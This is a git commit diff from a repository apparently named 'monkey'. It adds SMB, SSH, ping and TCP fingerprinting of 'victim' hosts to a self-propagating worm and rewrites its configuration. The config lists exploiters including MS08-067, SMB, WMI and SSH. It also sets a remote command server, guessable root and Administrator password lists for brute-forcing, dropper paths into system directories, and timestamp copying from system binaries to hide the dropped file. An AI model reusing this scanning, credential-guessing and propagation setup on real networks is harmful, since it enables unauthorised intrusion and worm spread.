forked from p34709852/monkey
add support for simple fingerprinting by: ping, smb, ssh and open ports
This commit is contained in:
parent
bea2d5e3d4
commit
7697f5fce9
|
@ -3,19 +3,84 @@ import os
|
|||
import sys
|
||||
import ntpath
|
||||
from network.range import ClassCRange, RelativeRange, FixedRange
|
||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter
|
||||
from network import TcpScanner, PingScanner
|
||||
|
||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter
|
||||
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger
|
||||
from abc import ABCMeta
|
||||
import uuid
|
||||
import types
|
||||
__author__ = 'itamar'
|
||||
|
||||
class WormConfiguration(object):
|
||||
GUID = str(uuid.getnode())
|
||||
|
||||
EXTERNAL_CONFIG_FILE = os.path.join(os.path.dirname(sys.argv[0]), 'monkey.bin')
|
||||
|
||||
def _cast_by_example(value, example):
|
||||
example_type = type(example)
|
||||
if example_type is str:
|
||||
return str(os.path.expandvars(value))
|
||||
elif example_type is tuple and len(example) != 0:
|
||||
return tuple([_cast_by_example(x, example[0]) for x in value])
|
||||
elif example_type is list and len(example) != 0:
|
||||
return [_cast_by_example(x, example[0]) for x in value]
|
||||
elif example_type is type(value):
|
||||
return value
|
||||
elif example_type is bool:
|
||||
return value.lower() == 'true'
|
||||
elif example_type is int:
|
||||
return int(value)
|
||||
elif example_type is float:
|
||||
return float(value)
|
||||
elif example_type is types.ClassType or example_type is ABCMeta:
|
||||
return globals()[value]
|
||||
else:
|
||||
return None
|
||||
|
||||
class Configuration(object):
|
||||
|
||||
def from_dict(self, data):
|
||||
for key,value in data.items():
|
||||
if key.startswith('_'):
|
||||
continue
|
||||
|
||||
try:
|
||||
default_value = getattr(Configuration, key)
|
||||
except AttributeError:
|
||||
continue
|
||||
|
||||
setattr(self, key, _cast_by_example(value, default_value))
|
||||
|
||||
def as_dict(self):
|
||||
result = {}
|
||||
for key in dir(Configuration):
|
||||
if key.startswith('_'):
|
||||
continue
|
||||
try:
|
||||
value = getattr(self, key)
|
||||
except AttributeError:
|
||||
continue
|
||||
|
||||
val_type = type(value)
|
||||
|
||||
if val_type is types.FunctionType or val_type is types.MethodType:
|
||||
continue
|
||||
|
||||
if val_type is types.ClassType or val_type is ABCMeta:
|
||||
value = value.__name__
|
||||
elif val_type is tuple or val_type is list:
|
||||
if len(value) != 0 and type(value[0]) is types.ClassType or type(value[0]) is ABCMeta:
|
||||
value = val_type([x.__name__ for x in value])
|
||||
|
||||
result[key] = value
|
||||
|
||||
return result
|
||||
|
||||
###########################
|
||||
### logging config
|
||||
###########################
|
||||
###########################
|
||||
|
||||
use_file_logging = True
|
||||
dropper_log_path = os.path.expandvars("%temp%\~df1562.tmp")
|
||||
monkey_log_path = os.path.expandvars("%temp%\~df1563.tmp")
|
||||
dropper_log_path = os.path.expandvars("%temp%\~df1562.tmp") if sys.platform == "win32" else '/tmp/user-1562'
|
||||
monkey_log_path = os.path.expandvars("%temp%\~df1563.tmp") if sys.platform == "win32" else '/tmp/user-1563'
|
||||
|
||||
###########################
|
||||
### dropper config
|
||||
|
@ -23,8 +88,9 @@ class WormConfiguration(object):
|
|||
|
||||
dropper_try_move_first = sys.argv[0].endswith(".exe")
|
||||
dropper_set_date = True
|
||||
dropper_date_reference_path = r"\windows\system32\kernel32.dll"
|
||||
dropper_target_path = ntpath.join(r"C:\Windows", ntpath.split(sys.argv[0])[-1])
|
||||
dropper_date_reference_path = r"\windows\system32\kernel32.dll" if sys.platform == "win32" else '/bin/sh'
|
||||
dropper_target_path = r"C:\Windows\monkey.exe"
|
||||
dropper_target_path_linux = '/bin/monkey'
|
||||
|
||||
###########################
|
||||
### monkey config
|
||||
|
@ -39,7 +105,8 @@ class WormConfiguration(object):
|
|||
max_iterations = 2
|
||||
|
||||
scanner_class = TcpScanner
|
||||
exploiter_classes = (RdpExploiter, )
|
||||
finger_classes = (PingScanner, SSHFinger, SMBFinger)
|
||||
exploiter_classes = (SSHExploiter, SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter)
|
||||
|
||||
# how many victims to look for in a single scan iteration
|
||||
victims_max_find = 14
|
||||
|
@ -47,7 +114,11 @@ class WormConfiguration(object):
|
|||
# how many victims to exploit before stopping
|
||||
victims_max_exploit = 7
|
||||
|
||||
command_server = "russian-mail-brides.com"
|
||||
current_server = ""
|
||||
|
||||
command_servers = ["russian-mail-brides.com:5000"]
|
||||
|
||||
serialize_config = True
|
||||
|
||||
###########################
|
||||
### scanners config
|
||||
|
@ -55,14 +126,15 @@ class WormConfiguration(object):
|
|||
|
||||
|
||||
#range_class = RelativeRange
|
||||
#range_size = 8
|
||||
range_class = FixedRange
|
||||
range_fixed = ("10.15.1.94", )
|
||||
range_size = 8
|
||||
range_class = ClassCRange
|
||||
range_fixed = ("10.0.0.1")
|
||||
|
||||
# TCP Scanner
|
||||
tcp_target_ports = [445, 135]
|
||||
tcp_target_ports = [22, 445, 135]
|
||||
tcp_scan_timeout = 1000 # 1000 Milliseconds
|
||||
tcp_scan_interval = 200
|
||||
tcp_scan_get_banner = True
|
||||
|
||||
# Ping Scanner
|
||||
ping_scan_timeout = 1000
|
||||
|
@ -80,3 +152,11 @@ class WormConfiguration(object):
|
|||
# psexec exploiter
|
||||
psexec_user = "Administrator"
|
||||
psexec_passwords = ["Password1!", "1234", "password", "password", "12345678"]
|
||||
|
||||
#ssh exploiter
|
||||
ssh_user = "root"
|
||||
ssh_passwords = ["root", "toor", "1234", "12345678"]
|
||||
|
||||
alive = True
|
||||
|
||||
WormConfiguration = Configuration()
|
|
@ -1,10 +1,15 @@
|
|||
|
||||
__author__ = 'itamar'
|
||||
|
||||
class VictimHost(object):
|
||||
def __init__(self, ip_addr):
|
||||
self.ip_addr = ip_addr
|
||||
self.cred = {}
|
||||
self.os = {}
|
||||
self.services = {}
|
||||
self.monkey_exe = None
|
||||
|
||||
def as_dict(self):
|
||||
return self.__dict__
|
||||
|
||||
def __hash__(self):
|
||||
return hash(self.ip_addr)
|
||||
|
@ -28,4 +33,4 @@ class VictimHost(object):
|
|||
self.cred[username.lower()] = password
|
||||
|
||||
def get_credentials(self, username):
|
||||
return self.cred.get(username.lower(), None)
|
||||
return self.cred.get(username.lower(), None)
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
|
||||
from abc import ABCMeta, abstractmethod
|
||||
import socket
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -10,6 +11,16 @@ class HostScanner(object):
|
|||
def is_host_alive(self, host):
|
||||
raise NotImplementedError()
|
||||
|
||||
class HostFinger(object):
|
||||
__metaclass__ = ABCMeta
|
||||
|
||||
@abstractmethod
|
||||
def get_host_fingerprint(self, host):
|
||||
raise NotImplementedError()
|
||||
|
||||
|
||||
from ping_scanner import PingScanner
|
||||
from tcp_scanner import TcpScanner
|
||||
from tcp_scanner import TcpScanner
|
||||
from smbfinger import SMBFinger
|
||||
from sshfinger import SSHFinger
|
||||
from info import local_ips
|
|
@ -1,26 +1,67 @@
|
|||
|
||||
import os
|
||||
import sys
|
||||
import subprocess
|
||||
from network import HostScanner
|
||||
import logging
|
||||
from network import HostScanner, HostFinger
|
||||
from model.host import VictimHost
|
||||
import re
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
PING_COUNT_FLAG = "-n" if "win32" == sys.platform else "-c"
|
||||
PING_TIMEOUT_FLAG = "-w" if "win32" == sys.platform else "-W"
|
||||
TTL_REGEX_STR = '(?<=TTL\=)[0-9]+'
|
||||
LINUX_TTL = 64
|
||||
WINDOWS_TTL = 128
|
||||
|
||||
class PingScanner(HostScanner):
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
class PingScanner(HostScanner, HostFinger):
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
self._devnull = open(os.devnull, "w")
|
||||
self._ttl_regex = re.compile(TTL_REGEX_STR, re.IGNORECASE)
|
||||
|
||||
def is_host_alive(self, host):
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
timeout = self._config.ping_scan_timeout
|
||||
if not "win32" == sys.platform:
|
||||
timeout = timeout / 1000
|
||||
|
||||
return 0 == subprocess.call(["ping",
|
||||
PING_COUNT_FLAG, "1",
|
||||
PING_TIMEOUT_FLAG, str(self._config.ping_scan_timeout),
|
||||
PING_TIMEOUT_FLAG, str(timeout),
|
||||
host.ip_addr],
|
||||
stdout=self._devnull,
|
||||
stderr=self._devnull)
|
||||
|
||||
def get_host_fingerprint(self, host):
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
timeout = self._config.ping_scan_timeout
|
||||
if not "win32" == sys.platform:
|
||||
timeout = timeout / 1000
|
||||
|
||||
sub_proc = subprocess.Popen(["ping",
|
||||
PING_COUNT_FLAG,
|
||||
"1",
|
||||
PING_TIMEOUT_FLAG,
|
||||
str(timeout), host.ip_addr],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE)
|
||||
|
||||
output = " ".join(sub_proc.communicate())
|
||||
regex_result = self._ttl_regex.search(output)
|
||||
if regex_result:
|
||||
try:
|
||||
ttl = int(regex_result.group(0))
|
||||
if LINUX_TTL == ttl:
|
||||
host.os['type'] = 'linux'
|
||||
elif WINDOWS_TTL == ttl:
|
||||
host.os['type'] = 'windows'
|
||||
return True
|
||||
except Exception, exc:
|
||||
LOG.debug("Error parsing ping fingerprint: %s", exc)
|
||||
|
||||
return False
|
||||
|
|
|
@ -0,0 +1,148 @@
|
|||
import re
|
||||
import sys
|
||||
import socket
|
||||
import struct
|
||||
import string
|
||||
import logging
|
||||
from network import HostFinger
|
||||
from model.host import VictimHost
|
||||
from odict import odict
|
||||
import select
|
||||
|
||||
SMB_PORT = 445
|
||||
SMB_SERVICE = 'tcp-445'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
class Packet():
|
||||
fields = odict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = odict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
##### SMB Packets #####
|
||||
class SMBHeader(Packet):
|
||||
fields = odict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("errorcode", "\x00\x00\x00\x00"),
|
||||
("flag1", "\x00"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x00\x00"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNego(Packet):
|
||||
fields = odict([
|
||||
("wordcount", "\x00"),
|
||||
("bcc", "\x62\x00"),
|
||||
("data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
|
||||
|
||||
class SMBNegoFingerData(Packet):
|
||||
fields = odict([
|
||||
("separator1","\x02" ),
|
||||
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||
("separator2","\x02"),
|
||||
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||
("separator3","\x02"),
|
||||
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
|
||||
("separator4","\x02"),
|
||||
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
||||
("separator5","\x02"),
|
||||
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
||||
("separator6","\x02"),
|
||||
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
||||
])
|
||||
|
||||
class SMBSessionFingerData(Packet):
|
||||
fields = odict([
|
||||
("wordcount", "\x0c"),
|
||||
("AndXCommand", "\xff"),
|
||||
("reserved","\x00" ),
|
||||
("andxoffset", "\x00\x00"),
|
||||
("maxbuff","\x04\x11"),
|
||||
("maxmpx", "\x32\x00"),
|
||||
("vcnum","\x00\x00"),
|
||||
("sessionkey", "\x00\x00\x00\x00"),
|
||||
("securitybloblength","\x4a\x00"),
|
||||
("reserved2","\x00\x00\x00\x00"),
|
||||
("capabilities", "\xd4\x00\x00\xa0"),
|
||||
("bcc1",""),
|
||||
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
|
||||
class SMBFinger(HostFinger):
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
|
||||
def get_host_fingerprint(self, host):
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(0.7)
|
||||
s.connect((host.ip_addr, SMB_PORT))
|
||||
|
||||
host.services[SMB_SERVICE] = {}
|
||||
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||
n = SMBNego(data = SMBNegoFingerData())
|
||||
n.calculate()
|
||||
|
||||
Packet = str(h)+str(n)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
s.send(Buffer)
|
||||
data = s.recv(2048)
|
||||
|
||||
if data[8:10] == "\x72\x00":
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||
Body = SMBSessionFingerData()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
s.send(Buffer)
|
||||
data = s.recv(2048)
|
||||
|
||||
if data[8:10] == "\x73\x16":
|
||||
length = struct.unpack('<H',data[43:45])[0]
|
||||
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
|
||||
os_version, service_client = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||
|
||||
if os_version.lower() != 'unix':
|
||||
host.os['type'] = 'windows'
|
||||
else:
|
||||
host.os['type'] = 'linux'
|
||||
|
||||
host.services[SMB_SERVICE]['name'] = service_client
|
||||
if not host.os.has_key('version'):
|
||||
host.os['version'] = os_version
|
||||
else:
|
||||
host.services[SMB_SERVICE]['os-version'] = os_version
|
||||
|
||||
return True
|
||||
except Exception, exc:
|
||||
LOG.debug("Error getting smb fingerprint: %s", exc)
|
||||
|
||||
return False
|
|
@ -0,0 +1,57 @@
|
|||
import re
|
||||
import sys
|
||||
import socket
|
||||
import struct
|
||||
import string
|
||||
import logging
|
||||
from network import HostFinger
|
||||
import socket
|
||||
import select
|
||||
from network.tools import check_port_tcp
|
||||
from model.host import VictimHost
|
||||
|
||||
SSH_PORT = 22
|
||||
SSH_SERVICE = 'tcp-22'
|
||||
SSH_REGEX = 'SSH-\d\.\d-OpenSSH'
|
||||
TIMEOUT = 30
|
||||
BANNER_READ = 1024
|
||||
LINUX_DIST_SSH = ['ubuntu', 'debian']
|
||||
|
||||
class SSHFinger(HostFinger):
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE)
|
||||
|
||||
def _banner_match(self, host, banner):
|
||||
host.services[SSH_SERVICE]['name'] = 'ssh'
|
||||
for dist in LINUX_DIST_SSH:
|
||||
if banner.lower().find(dist) != -1:
|
||||
host.os['type'] = 'linux'
|
||||
os_version = banner.split(' ').pop().strip()
|
||||
if not host.os.has_key('version'):
|
||||
host.os['version'] = os_version
|
||||
else:
|
||||
host.services[SSH_SERVICE]['os-version'] = os_version
|
||||
break
|
||||
|
||||
def get_host_fingerprint(self, host):
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
for service in host.services.values():
|
||||
banner = service.get('banner', '')
|
||||
if self._banner_regex.search(banner):
|
||||
self._banner_match(host, banner)
|
||||
return
|
||||
|
||||
is_open, banner = check_port_tcp(host.ip_addr, SSH_PORT, TIMEOUT, True)
|
||||
|
||||
if is_open:
|
||||
host.services[SSH_SERVICE] = {}
|
||||
|
||||
if banner:
|
||||
host.services[SSH_SERVICE]['banner'] = banner
|
||||
if self._banner_regex.search(banner):
|
||||
self._banner_match(host, banner)
|
||||
return True
|
||||
|
||||
return False
|
|
@ -1,29 +1,43 @@
|
|||
|
||||
import time
|
||||
import socket
|
||||
from network import HostScanner
|
||||
from network import HostScanner, HostFinger
|
||||
from model.host import VictimHost
|
||||
from network.tools import check_port_tcp
|
||||
import select
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
class TcpScanner(HostScanner):
|
||||
def __init__(self, target_port=None):
|
||||
BANNER_READ = 1024
|
||||
|
||||
class TcpScanner(HostScanner, HostFinger):
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
|
||||
def is_host_alive(self, host):
|
||||
return self.get_host_fingerprint(host, True)
|
||||
|
||||
def get_host_fingerprint(self, host, only_one_port=False):
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
for target_port in self._config.tcp_target_ports:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(self._config.tcp_scan_timeout / 1000.0)
|
||||
count = 0
|
||||
|
||||
try:
|
||||
sock.connect((host.ip_addr, target_port))
|
||||
sock.close()
|
||||
return True
|
||||
except socket.error:
|
||||
for target_port in self._config.tcp_target_ports:
|
||||
|
||||
is_open, banner = check_port_tcp(host.ip_addr,
|
||||
target_port,
|
||||
self._config.tcp_scan_interval / 1000.0,
|
||||
self._config.tcp_scan_get_banner)
|
||||
|
||||
if is_open:
|
||||
count+=1
|
||||
service = 'tcp-' + str(target_port)
|
||||
host.services[service] = {}
|
||||
if banner:
|
||||
host.services[service]['banner'] = banner
|
||||
if only_one_port:
|
||||
break
|
||||
else:
|
||||
time.sleep(self._config.tcp_scan_interval / 1000.0)
|
||||
|
||||
continue
|
||||
|
||||
return False
|
||||
return count != 0
|
Loading…
Reference in New Issue